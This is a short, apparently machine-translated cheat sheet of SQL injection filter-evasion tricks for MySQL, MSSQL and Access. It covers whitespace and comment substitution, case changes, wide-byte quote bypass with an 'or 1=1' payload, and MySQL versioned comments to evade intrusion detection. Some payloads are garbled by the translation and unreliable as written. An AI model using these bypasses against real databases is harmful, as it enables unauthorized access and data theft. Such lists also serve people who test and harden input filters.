Various variants of SQL Injection Detection

Space Deformation: + | % 20 | 2 spaces | tab | enter | Mysql, MSSQL, ACCESS

/**/. MSSQL

Letter Deformation: converts uppercase and lowercase letters. Mysql, MSSQL, ACCESS

Bypass through type conversion modifier N: 1' = n' 1 Mysql, MSSQL

By disassembling the string with the + sign, bypass: abc' = A' % 2B 'bc' MSSQL, ACCESS

Add %: se % l % e % c % t Mysql, MSSQL, ACCESS

Double Byte single quotes bypass: % 99 'or 1 = 1 + -- + Mysql, magic quotes open

Use the version selection symbol to bypass IDS :/*! Select 1, 2, 3 */Mysql

 

Annotator: + -- + Mysql, MSSQL

/* Some mysql

# Mysql